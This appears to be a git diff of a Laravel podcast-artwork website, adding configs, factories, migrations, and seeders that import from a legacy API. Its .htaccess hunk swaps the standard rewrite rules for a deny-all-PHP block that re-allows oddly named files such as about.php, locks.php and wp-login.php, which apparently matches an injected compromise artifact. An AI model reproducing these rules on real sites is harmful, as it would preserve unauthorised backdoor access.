use Spatie\ImageOptimizer\Optimizers\Gifsicle;
use Spatie\ImageOptimizer\Optimizers\Jpegoptim;
use Spatie\ImageOptimizer\Optimizers\Optipng;
use Spatie\ImageOptimizer\Optimizers\Pngquant;
use Spatie\ImageOptimizer\Optimizers\Svgo;
return [
/*
* When calling `optimize` the package will automatically determine which optimizers
* should run for the given image.
*/
'optimizers' => [
Jpegoptim::class => [
'-m72', // set maximum quality to 85%
'--strip-all', // this strips out all text information such as comments and EXIF data
'--all-progressive', // this will make sure the resulting image is a progressive one
],
Pngquant::class => [
'--force', // required parameter for this package
],
Optipng::class => [
'-i0', // this will result in a non-interlaced, progressive scanned image
'-o2', // this set the optimization level to two (multiple IDAT compression trials)
'-quiet', // required parameter for this package
],
Svgo::class => [
'--disable=cleanupIDs', // disabling because it is know to cause troubles
],
Gifsicle::class => [
'-b', // required parameter for this package
'-O3', // this produces the slowest but best results
],
Cwebp::class => [
'-m 6', // for the slowest compression method in order to get the best compression.
'-pass 10', // for maximizing the amount of analysis pass.
'-mt', // multithreading for some speed improvements.
'-q 90', // quality factor that brings the least noticeable changes.
],
],
/*
* The directory where your binaries are stored.
* Only use this when you binaries are not accessible in the global environment.
*/
'binary_path' => '',
/*
* The maximum time in seconds each optimizer is allowed to run separately.
*/
'timeout' => 60,
/*
* If set to `true` all output of the optimizer binaries will be appended to the default log.
* You can also set this to a class that implements `Psr\Log\LoggerInterface`.
*/
'log_optimizer_activity' => false,
];

159
site/config/livewire.php Normal file
View File

@@ -0,0 +1,159 @@
<?php
return [
/*
|---------------------------------------------------------------------------
| Class Namespace
|---------------------------------------------------------------------------
|
| This value sets the root class namespace for Livewire component classes in
| your application. This value will change where component auto-discovery
| finds components. It's also referenced by the file creation commands.
|
*/
'class_namespace' => 'App\\Livewire',
/*
|---------------------------------------------------------------------------
| View Path
|---------------------------------------------------------------------------
|
| This value is used to specify where Livewire component Blade templates are
| stored when running file creation commands like `artisan make:livewire`.
| It is also used if you choose to omit a component's render() method.
|
*/
'view_path' => resource_path('views/livewire'),
/*
|---------------------------------------------------------------------------
| Layout
|---------------------------------------------------------------------------
| The view that will be used as the layout when rendering a single component
| as an entire page via `Route::get('/post/create', CreatePost::class);`.
| In this case, the view returned by CreatePost will render into $slot.
|
*/
'layout' => 'components.layouts.app',
/*
|---------------------------------------------------------------------------
| Lazy Loading Placeholder
|---------------------------------------------------------------------------
| Livewire allows you to lazy load components that would otherwise slow down
| the initial page load. Every component can have a custom placeholder or
| you can define the default placeholder view for all components below.
|
*/
'lazy_placeholder' => null,
/*
|---------------------------------------------------------------------------
| Temporary File Uploads
|---------------------------------------------------------------------------
|
| Livewire handles file uploads by storing uploads in a temporary directory
| before the file is stored permanently. All file uploads are directed to
| a global endpoint for temporary storage. You may configure this below:
|
*/
'temporary_file_upload' => [
'disk' => 'local', // Example: 'local', 's3' | Default: 'default'
'rules' => null, // Example: ['file', 'mimes:png,jpg'] | Default: ['required', 'file', 'max:12288'] (12MB)
'directory' => 'tmp', // Example: 'tmp' | Default: 'livewire-tmp'
'middleware' => null, // Example: 'throttle:5,1' | Default: 'throttle:60,1'
'preview_mimes' => [ // Supported file types for temporary pre-signed file URLs...
'png', 'gif', 'bmp', 'svg', 'wav', 'mp4',
'mov', 'avi', 'wmv', 'mp3', 'm4a',
'jpg', 'jpeg', 'mpga', 'webp', 'wma',
],
'max_upload_time' => 5, // Max duration (in minutes) before an upload is invalidated...
],
/*
|---------------------------------------------------------------------------
| Render On Redirect
|---------------------------------------------------------------------------
|
| This value determines if Livewire will run a component's `render()` method
| after a redirect has been triggered using something like `redirect(...)`
| Setting this to true will render the view once more before redirecting
|
*/
'render_on_redirect' => false,
/*
|---------------------------------------------------------------------------
| Eloquent Model Binding
|---------------------------------------------------------------------------
|
| Previous versions of Livewire supported binding directly to eloquent model
| properties using wire:model by default. However, this behavior has been
| deemed too "magical" and has therefore been put under a feature flag.
|
*/
'legacy_model_binding' => false,
/*
|---------------------------------------------------------------------------
| Auto-inject Frontend Assets
|---------------------------------------------------------------------------
|
| By default, Livewire automatically injects its JavaScript and CSS into the
| <head> and <body> of pages containing Livewire components. By disabling
| this behavior, you need to use @livewireStyles and @livewireScripts.
|
*/
'inject_assets' => true,
/*
|---------------------------------------------------------------------------
| Navigate (SPA mode)
|---------------------------------------------------------------------------
|
| By adding `wire:navigate` to links in your Livewire application, Livewire
| will prevent the default link handling and instead request those pages
| via AJAX, creating an SPA-like effect. Configure this behavior here.
|
*/
'navigate' => [
'show_progress_bar' => true,
'progress_bar_color' => '#2299dd',
],
/*
|---------------------------------------------------------------------------
| HTML Morph Markers
|---------------------------------------------------------------------------
|
| Livewire intelligently "morphs" existing HTML into the newly rendered HTML
| after each update. To make this process more reliable, Livewire injects
| "markers" into the rendered Blade surrounding @if, @class & @foreach.
|
*/
'inject_morph_markers' => true,
/*
|---------------------------------------------------------------------------
| Pagination Theme
|---------------------------------------------------------------------------
|
| When enabling Livewire's pagination feature by using the `WithPagination`
| trait, Livewire will use Tailwind templates to render pagination views
| on the page. If you want Bootstrap CSS, you can specify: "bootstrap"
|
*/
'pagination_theme' => 'bootstrap',
];

View File

@@ -65,6 +65,13 @@ return [
'replace_placeholders' => true, 'replace_placeholders' => true,
], ],
'artwork_import' => [
'driver' => 'single',
'path' => storage_path('logs/artwork_import.log'),
'level' => env('LOG_LEVEL', 'debug'),
'replace_placeholders' => true,
],
'daily' => [ 'daily' => [
'driver' => 'daily', 'driver' => 'daily',
'path' => storage_path('logs/laravel.log'), 'path' => storage_path('logs/laravel.log'),

View File

@@ -2,10 +2,20 @@
namespace Database\Factories; namespace Database\Factories;
use App\Models\Artist;
use App\Models\User;
use Illuminate\Database\Eloquent\Factories\Factory; use Illuminate\Database\Eloquent\Factories\Factory;
use Illuminate\Support\Facades\Str;
class ArtistFactory extends Factory class ArtistFactory extends Factory
{ {
/**
* The name of the factory's corresponding model
*
* @var string
*/
protected $model = Artist::class;
/** /**
* Define the model's default state. * Define the model's default state.
* *
@@ -13,8 +23,19 @@ class ArtistFactory extends Factory
*/ */
public function definition() public function definition()
{ {
$name = fake()->name();
$slug = Str::slug(strtolower(trim($name)));
return [ return [
// 'user_id' => User::factory(),
'name' => $name,
'slug' => $slug,
'avatar' => fake()->imageUrl(512, 512),
'header' => fake()->imageUrl(270, 185),
'location' => fake()->city() . ', ' . fake()->state(),
'alby' => null,
'naasocial' => null,
'website' => rand(0, 1) ? fake()->url : null,
'bio' => fake()->paragraphs(rand(1, 3), true),
]; ];
} }
} }

View File

@@ -3,9 +3,23 @@
namespace Database\Factories; namespace Database\Factories;
use Illuminate\Database\Eloquent\Factories\Factory; use Illuminate\Database\Eloquent\Factories\Factory;
use Illuminate\Support\Str;
use App\Models\Artist;
use App\Models\Artwork;
use App\Models\Episode;
use App\Models\Podcast;
use App\Models\Overlay;
class ArtworkFactory extends Factory class ArtworkFactory extends Factory
{ {
/**
* The name of the factory's corresponding model
*
* @var string
*/
protected $model = Artwork::class;
/** /**
* Define the model's default state. * Define the model's default state.
* *
@@ -13,8 +27,19 @@ class ArtworkFactory extends Factory
*/ */
public function definition() public function definition()
{ {
$created = fake()->dateTimeThisDecade();
return [ return [
// 'title' => fake()->name(),
'description' => rand(0, 1) ? fake()->paragraphs(rand(1, 3), true) : null,
'artist_id' => Artist::factory(),
'podcast_id' => Podcast::factory(),
'episode_id' => Episode::factory(),
'overlay_id' => rand(0, 1) ? Overlay::factory() : null,
'filename' => fake()->imageUrl(3000, 3000),
'created_at' => $created,
'updated_at' => $created,
'legacy_id' => null,
'approved_by' => null,
]; ];
} }
} }

View File

@@ -2,10 +2,24 @@
namespace Database\Factories; namespace Database\Factories;
use App\Models\Artist;
use App\Models\Artwork;
use App\Models\Episode;
use App\Models\Podcast;
use App\Models\Overlay;
use Illuminate\Database\Eloquent\Factories\Factory; use Illuminate\Database\Eloquent\Factories\Factory;
use Carbon\Carbon;
use Illuminate\Support\Str;
class EpisodeFactory extends Factory class EpisodeFactory extends Factory
{ {
/**
* The name of the factory's corresponding model
*
* @var string
*/
protected $model = Episode::class;
/** /**
* Define the model's default state. * Define the model's default state.
* *
@@ -13,8 +27,20 @@ class EpisodeFactory extends Factory
*/ */
public function definition() public function definition()
{ {
$title = fake()->name();
$slug = Str::slug($title);
$created = fake()->dateTimeThisDecade();
return [ return [
// 'podcast_id' => Podcast::factory(),
'artwork_id' => Artwork::factory(),
'published' => fake()->boolean(),
'episode_date' => fake()->dateTimeThisDecade(),
'slug' => $slug,
'title' => $title,
'mp3' => fake()->url(),
'created_at' => $created,
'updated_at' => $created,
'legacy_id' => null,
]; ];
} }
} }

View File

@@ -3,9 +3,24 @@
namespace Database\Factories; namespace Database\Factories;
use Illuminate\Database\Eloquent\Factories\Factory; use Illuminate\Database\Eloquent\Factories\Factory;
use Illuminate\Support\Str;
use App\Models\Artist;
use App\Models\Artwork;
use App\Models\Episode;
use App\Models\Podcast;
use App\Models\Overlay;
class OverlayFactory extends Factory class OverlayFactory extends Factory
{ {
/**
* The name of the factory's corresponding model
*
* @var string
*/
protected $model = Overlay::class;
/** /**
* Define the model's default state. * Define the model's default state.
* *
@@ -13,8 +28,14 @@ class OverlayFactory extends Factory
*/ */
public function definition() public function definition()
{ {
$name = fake()->name();
$slug = Str::slug($name);
return [ return [
// 'name' => $name,
'artist_id' => Artist::factory(),
'podcast_id' => Podcast::factory(),
'available' => fake()->boolean(),
'filename' => fake()->imageUrl(3000, 3000),
]; ];
} }
} }

View File

@@ -4,9 +4,21 @@ namespace Database\Factories;
use Illuminate\Database\Eloquent\Factories\Factory; use Illuminate\Database\Eloquent\Factories\Factory;
use Illuminate\Support\Str; use Illuminate\Support\Str;
use App\Models\Artist;
use App\Models\Artwork;
use App\Models\Episode;
use App\Models\Podcast;
use App\Models\Overlay;
class PodcastFactory extends Factory class PodcastFactory extends Factory
{ {
/**
* The name of the factory's corresponding model
*
* @var string
*/
protected $model = Podcast::class;
/** /**
* Define the model's default state. * Define the model's default state.
* *
@@ -14,12 +26,14 @@ class PodcastFactory extends Factory
*/ */
public function definition() public function definition()
{ {
$name = fake()->name();
$slug = Str::slug($name);
return [ return [
'name' => fake()->name(), 'name' => $name,
'description' => fake()->paragraphs(rand(1,3), true), 'description' => fake()->paragraphs(rand(1,3), true),
'website' => 'https://' . fake()->domainName(), 'website' => 'https://' . fake()->domainName(),
'feed' => fake()->url(), 'feed' => 'podcast/' . $slug,
'slug' => fake()->slug(), 'slug' => $slug,
'published' => fake()->boolean(), 'published' => fake()->boolean(),
'added_at' => fake()->dateTimeThisDecade(), 'added_at' => fake()->dateTimeThisDecade(),
]; ];

View File

@@ -4,9 +4,23 @@ namespace Database\Factories;
use Illuminate\Database\Eloquent\Factories\Factory; use Illuminate\Database\Eloquent\Factories\Factory;
use Illuminate\Support\Str; use Illuminate\Support\Str;
use Illuminate\Support\Facades\Hash;
use App\Models\Artist;
use App\Models\Artwork;
use App\Models\Episode;
use App\Models\Podcast;
use App\Models\Overlay;
use App\Models\User;
class UserFactory extends Factory class UserFactory extends Factory
{ {
/**
* The name of the factory's corresponding model
*
* @var string
*/
protected $model = User::class;
/** /**
* Define the model's default state. * Define the model's default state.
* *
@@ -14,12 +28,14 @@ class UserFactory extends Factory
*/ */
public function definition() public function definition()
{ {
$password = Hash::make(Str::random(rand(8, 16)));
return [ return [
'name' => $this->faker->name(), 'name' => $this->faker->name(),
'email' => $this->faker->unique()->safeEmail(), 'email' => $this->faker->unique()->safeEmail(),
'email_verified_at' => now(), 'email_verified_at' => now(),
'password' => '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', // password 'password' => $password,
'remember_token' => Str::random(10), 'remember_token' => Str::random(10),
'legacy_id' => null,
]; ];
} }

View File

@@ -3,6 +3,7 @@
use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema; use Illuminate\Support\Facades\Schema;
use App\Models\User;
class CreateArtistsTable extends Migration class CreateArtistsTable extends Migration
{ {
@@ -15,7 +16,10 @@ class CreateArtistsTable extends Migration
{ {
Schema::create('artists', function (Blueprint $table) { Schema::create('artists', function (Blueprint $table) {
$table->id(); $table->id();
$table->foreignId('user_id')->constrained(); $table->foreignIdFor(User::class)
->constrained()
->cascadeOnUpdate()
->cascadeOnDelete();
$table->string('name')->unique(); $table->string('name')->unique();
$table->string('avatar')->nullable(); $table->string('avatar')->nullable();
$table->string('header')->nullable(); $table->string('header')->nullable();

View File

@@ -0,0 +1,28 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
Schema::table('episodes', function (Blueprint $table) {
$table->decimal('episode_number', 8, 1)->after('episode_date')->default(0);
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('episodes', function (Blueprint $table) {
$table->dropColumn('episode_number');
});
}
};

View File

@@ -0,0 +1,28 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
Schema::table('artworks', function (Blueprint $table) {
$table->bigInteger('legacy_id')->nullable();
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('artworks', function (Blueprint $table) {
$table->dropColumn('legacy_id');
});
}
};

View File

@@ -0,0 +1,28 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
Schema::table('episodes', function (Blueprint $table) {
$table->bigInteger('legacy_id')->nullable();
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('episodes', function (Blueprint $table) {
$table->dropColumn('legacy_id');
});
}
};

View File

@@ -0,0 +1,28 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
Schema::table('artworks', function (Blueprint $table) {
$table->bigInteger('approved_by')->nullable()->after('filename');
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('artworks', function (Blueprint $table) {
$table->dropColumn('approved_by');
});
}
};

View File

@@ -0,0 +1,28 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
Schema::table('users', function (Blueprint $table) {
$table->integer('legacy_id')->nullable()->unsigned();
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('users', function (Blueprint $table) {
$table->dropColumn('legacy_id');
});
}
};

View File

@@ -0,0 +1,28 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
Schema::table('artworks', function (Blueprint $table) {
$table->string('legacy_filename')->nullable();
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('artworks', function (Blueprint $table) {
$table->dropColumn('legacy_filename');
});
}
};

View File

@@ -0,0 +1,28 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
Schema::table('users', function (Blueprint $table) {
$table->string('theme')->nullable();
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('users', function (Blueprint $table) {
$table->dropColumn('theme');
});
}
};

View File

@@ -0,0 +1,28 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
Schema::table('artists', function (Blueprint $table) {
$table->string('slug')->after('name');
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('artists', function (Blueprint $table) {
$table->dropColumn('slug');
});
}
};

View File

@@ -0,0 +1,34 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
Schema::table('artworks', function (Blueprint $table) {
$table->index('podcast_id');
$table->index('artist_id');
$table->index('episode_id');
$table->index('legacy_id');
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('artworks', function (Blueprint $table) {
$table->dropIndex('podcast_id');
$table->dropIndex('artist_id');
$table->dropIndex('episode_id');
$table->dropIndex('legacy_id');
});
}
};

View File

@@ -0,0 +1,28 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
Schema::table('artists', function (Blueprint $table) {
$table->index('user_id');
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('artists', function (Blueprint $table) {
$table->dropIndex('user_id');
});
}
};

View File

@@ -0,0 +1,28 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
Schema::table('podcasts', function (Blueprint $table) {
$table->index('published');
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('podcasts', function (Blueprint $table) {
$table->dropIndex('published');
});
}
};

View File

@@ -0,0 +1,34 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
Schema::table('episodes', function (Blueprint $table) {
$table->index('podcast_id');
$table->index('artwork_id');
$table->index('episode_date');
$table->index('published');
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('episodes', function (Blueprint $table) {
$table->dropIndex('podcast_id');
$table->dropIndex('artwork_id');
$table->dropIndex('episode_date');
$table->dropIndex('published');
});
}
};

View File

@@ -0,0 +1,28 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
Schema::table('users', function (Blueprint $table) {
$table->unique('name');
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('users', function (Blueprint $table) {
$table->dropUnique('name');
});
}
};

View File

@@ -0,0 +1,30 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
Schema::table('artists', function (Blueprint $table) {
$table->string('alby')->nullable()->after('location');
$table->string('nasocial')->nullable()->after('location');
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('artists', function (Blueprint $table) {
$table->dropColumn('alby');
$table->dropColumn('nasocial');
});
}
};

View File

@@ -0,0 +1,60 @@
<?php
namespace Database\Seeders;
use Illuminate\Database\Console\Seeds\WithoutModelEvents;
use Illuminate\Database\Seeder;
use App\Models\Episode;
use App\Models\Podcast;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Str;
use Carbon\Carbon;
class EpisodeSeeder extends Seeder
{
/**
* Run the database seeds.
*/
public function run(): void
{
$current_page = 1;
$response = $this->getResponseFromApi($current_page);
$last_page = $response->object()->last_page;
$this->command->info('Last Page: ' . $last_page);
$podcast = Podcast::find(1);
while ($current_page <= $last_page) {
$this->command->info('Getting Page ' . $current_page);
foreach ($response->object()->data as $episode) {
$podcastEpisode = Episode::where('title', $episode->title)->first();
if (!$podcastEpisode) {
$podcastEpisode = Episode::factory()->state([
'podcast_id' => 1,
'episode_date' => Carbon::parse($episode->show_date),
'published' => (bool)$episode->published,
'artwork_id' => null,
'slug' => $episode->episode_number . '_' . Str::slug($episode->title),
'title' => $episode->title,
'mp3' => $episode->link,
'created_at' => Carbon::parse($episode->created_at),
'updated_at' => Carbon::parse($episode->updated_at),
'legacy_id' => $episode->id ?? null
])->create();
} else {
$podcastEpisode->legacy_id = $episode->id ?? null;
if ($podcastEpisode->isDirty()) {
$podcastEpisode->save();
}
}
$this->command->info('Created ' . $episode->show_date . ' - (' . $episode->episode_number . ') ' . $episode->title);
}
$current_page++;
$response = $this->getResponseFromApi($current_page);
}
}
private function getResponseFromApi($current_page) {
$response = Http::timeout(180)
->get('https://noagendaartgenerator.com/episodesjson?p=7476&page=' . $current_page);
return $response;
}
}

View File

@@ -0,0 +1,31 @@
<?php
namespace Database\Seeders;
use Illuminate\Database\Console\Seeds\WithoutModelEvents;
use Illuminate\Database\Seeder;
use App\Models\Episode;
use App\Models\Podcast;
use App\Models\Artwork;
use Illuminate\Support\Str;
use Illuminate\Support\Facade\Log;
class FixLegacyEpisodeSeeder extends Seeder
{
/**
* Run the database seeds.
*/
public function run(): void
{
$episodes = Episode::all();
foreach ($episodes as $episode) {
if (is_null($episode->episode_number) || $episode->episode_number == 0) {
$ep_num_arr = explode('_', $episode->slug);
$episode->episode_number = $ep_num_arr[0];
}
if ($episode->isDirty()) {
$episode->save();
}
}
}
}

View File

@@ -0,0 +1,17 @@
<?php
namespace Database\Seeders;
use Illuminate\Database\Console\Seeds\WithoutModelEvents;
use Illuminate\Database\Seeder;
class MapLegacyIdsSeeder extends Seeder
{
/**
* Run the database seeds.
*/
public function run(): void
{
//
}
}

View File

@@ -132,7 +132,14 @@ class PodcastSeeder extends Seeder
$feed = 'https://www.unrelenting.show/feed/podcast/'; $feed = 'https://www.unrelenting.show/feed/podcast/';
$added = '2021-10-29 20:00:00'; $added = '2021-10-29 20:00:00';
$this->createPodcast($name, $description, $website, $slug, $feed, $added); $this->createPodcast($name, $description, $website, $slug, $feed, $added);
$name = 'The Boostagram Ball';
$description = 'The First Podcast with Value4Value Music hosted by Adam Curry';
$website = 'https://boostagramball.com';
$slug = 'boostagram-ball';
$feed = 'https://mp3s.nashownotes.com/bballrss.xml';
$added = '2023-07-29 20:00:00';
$this->createPodcast($name, $description, $website, $slug, $feed, $added);
} }
private function createPodcast($name, $description, $website, $slug, $feed, $added) { private function createPodcast($name, $description, $website, $slug, $feed, $added) {

View File

@@ -0,0 +1,105 @@
<?php
namespace Database\Seeders;
use Illuminate\Database\Console\Seeds\WithoutModelEvents;
use Illuminate\Database\Seeder;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Str;
use Illuminate\Support\Facades\Storage;
use App\Models\Artist;
use App\Models\Artwork;
use App\Models\Episode;
use App\Models\Podcast;
use App\Models\Overlay;
use App\Jobs\StashAndOptimizeLegacyArtworkJob;
use App\Jobs\ImportLegacyUserJob;
use Carbon\Carbon;
class SeedFromOldApiSeeder extends Seeder
{
/**
* Run the database seeds.
*/
public function run(): void
{
//$this->populateLegacyArtworks();
//die();
$current_page = 0;
$totalArtworks = 0;
$missingArtworks = 0;
$missingModel = 0;
$response = $this->getResponseFromApi($current_page);
$last_page = $response->object()->users->last_page;
while ($current_page <= $last_page) {
$this->command->info('Getting Page ' . $current_page);
foreach ($response->object()->users->data as $user) {
$this->command->line('Getting Art for ' . $user->profile->name . ', found ' . count($user->artworks) . ' artworks.');
$totalArtworks += count($user->artworks);
$legacyUser = Artist::where('name', $user->profile->name)->first();
if (!$legacyUser) {
ImportLegacyUserJob::dispatch($user);
} else {
if ($legacyUser->artworks->count() < count($user->artworks)) {
$countDiff = count($user->artworks) - $legacyUser->artworks->count();
$missingArtworks += $countDiff;
$this->command->comment('Artist ID '
. $legacyUser->id
. ' '
. $legacyUser->name
. ' has '
. $legacyUser->artworks->count()
. ' artworks.');
$this->command->error('Missing ' . $countDiff . ' artworks.');
foreach ($user->artworks as $artwork) {
$date = Carbon::parse($artwork->created_at);
$basename = $date->format('Y')
. '/' . $date->format('m')
. '/' . Str::slug($legacyUser->name)
. '-' . Str::slug($artwork->title)
. '_' . $artwork->id . '.jpg';
if (Storage::disk('static')->exists('artworks/' . $basename)) {
$artworkModel = Artwork::where('filename', $basename)->first();
if (!$artworkModel) {
$missingModel++;
$this->command->error($basename . ' exists.');
StashAndOptimizeLegacyArtworkJob::dispatch($legacyUser, $artwork);
}
}
}
} else {
$this->command->line('Locally stored all of ' . $legacyUser->name . '\'s artworks.');
}
}
}
$current_page++;
$response = $this->getResponseFromApi($current_page);
}
$this->command->info('Total Artworks: ' . $totalArtworks);
$this->command->info('Total Missing: ' . $missingArtworks);
$this->command->info('Total Missing Model: ' . $missingModel);
}
private function getResponseFromApi($current_page) {
$response = Http::timeout(180)
->get('https://noagendaartgenerator.com/artistapi',
[
'p' => '7476',
'page' => $current_page,
]
);
return $response;
}
private function populateLegacyArtworks() {
$artworks = Artwork::whereNull('legacy_id')->get();
foreach ($artworks as $artwork) {
$file = pathinfo($artwork->filename);
$filename = explode('_', $file['filename']);
$legacy_id = end($filename);
$artwork->legacy_id = $legacy_id;
$artwork->save();
}
}
}

1779
site/package-lock.json generated

File diff suppressed because it is too large Load Diff

View File

@@ -12,7 +12,21 @@
"axios": "^1.1.2", "axios": "^1.1.2",
"laravel-vite-plugin": "^0.7.5", "laravel-vite-plugin": "^0.7.5",
"postcss": "^8.4.6", "postcss": "^8.4.6",
"sass": "^1.63.6",
"tailwindcss": "^3.1.0", "tailwindcss": "^3.1.0",
"vite": "^4.0.0" "vite": "^5.0.9",
"wolfy87-eventemitter": "4.2.0"
},
"version": "0.0.0",
"dependencies": {
"aos": "^3.0.0-beta.6",
"cropperjs": "^1.6.1",
"guillotine": "^1.3.1",
"isotope-layout": "^3.0.6",
"jquery": "^3.7.0",
"jquery-nice-select": "^1.1.0",
"js.cookie": "^0.0.4",
"slick-carousel": "^1.8.1",
"waypoints": "^4.0.1"
} }
} }

View File

@@ -1,21 +1,16 @@
<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order Allow,Deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|plugin-install.php|about.php|install.php|locks.php|wp-admin.php|wp-login.php)$">
Order Allow,Deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c> <IfModule mod_rewrite.c>
<IfModule mod_negotiation.c> RewriteEngine On
Options -MultiViews -Indexes RewriteBase /
</IfModule> RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# Handle Authorization Header </IfModule>
RewriteCond %{HTTP:Authorization} .
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
# Redirect Trailing Slashes If Not A Folder...
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} (.+)/$
RewriteRule ^ %1 [L,R=301]
# Send Requests To Front Controller...
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [L]
</IfModule>

View File

@@ -1,9 +1,14 @@
/* /*
* Theme by Douglas Damasio [http://github.com/douglasdamasio] * Theme by Douglas Damasio [http://github.com/douglasdamasio]
* Based on Pepa Linha * Based on Pepa Linha
* Color syntax inspired by Dracula Theme [https://draculatheme.com/] * Color syntax inspired by Dracula Theme [https://draculatheme.com/]
* @version 1.0 (June 2020) * @version 1.0 (June 2020)
*/ */
html {
--bg: #282a36;
--fg: #f8f8f2;
}
@import url('https://fonts.googleapis.com/css2?family=Source+Sans+Pro:wght@300;400;600&family=Ubuntu:wght@500;700&display=swap'); @import url('https://fonts.googleapis.com/css2?family=Source+Sans+Pro:wght@300;400;600&family=Ubuntu:wght@500;700&display=swap');
:root { :root {
@@ -28,7 +33,7 @@
height: 100%; height: 100%;
background: var(--color-darkBackground); background: var(--color-darkBackground);
} }
body { body {
font-family: 'Source Sans Pro', sans-serif; font-family: 'Source Sans Pro', sans-serif;
} }
@@ -36,14 +41,14 @@
div { div {
color: var(--color-darkForeground); color: var(--color-darkForeground);
} }
h1 { h1 {
margin: 0; margin: 0;
padding: 0; padding: 0;
background: none; background: none;
border: 0; border: 0;
} }
h2 { h2 {
margin: 0; margin: 0;
padding: 0; padding: 0;
@@ -57,12 +62,12 @@
padding-bottom: 6px; padding-bottom: 6px;
margin-bottom: 40px; margin-bottom: 40px;
} }
.rtl h2 { .rtl h2 {
margin: 0; margin: 0;
margin-bottom: 40px; margin-bottom: 40px;
} }
h3 { h3 {
font-size: 22px; font-size: 22px;
margin: 0 0 10px; margin: 0 0 10px;
@@ -72,66 +77,70 @@
color: var(--color-darkGreen); color: var(--color-darkGreen);
} }
p { p {
margin: 0; margin: 0;
margin-bottom: 15px; margin-bottom: 15px;
align-items: center; align-items: center;
color: var(--color-darkForeground); color: var(--color-darkForeground);
} }
a { a {
color:var(--color-darkPink); color:var(--color-darkPink);
text-decoration:none; text-decoration:none;
} }
a:visited { a:visited {
color: var(--color-darkPurple); color: var(--color-darkPurple);
} }
a:link:hover, a:link:hover,
a:visited:hover { a:visited:hover {
color: var(--color-darkPink); color: var(--color-darkPink);
text-decoration:underline; text-decoration:underline;
} }
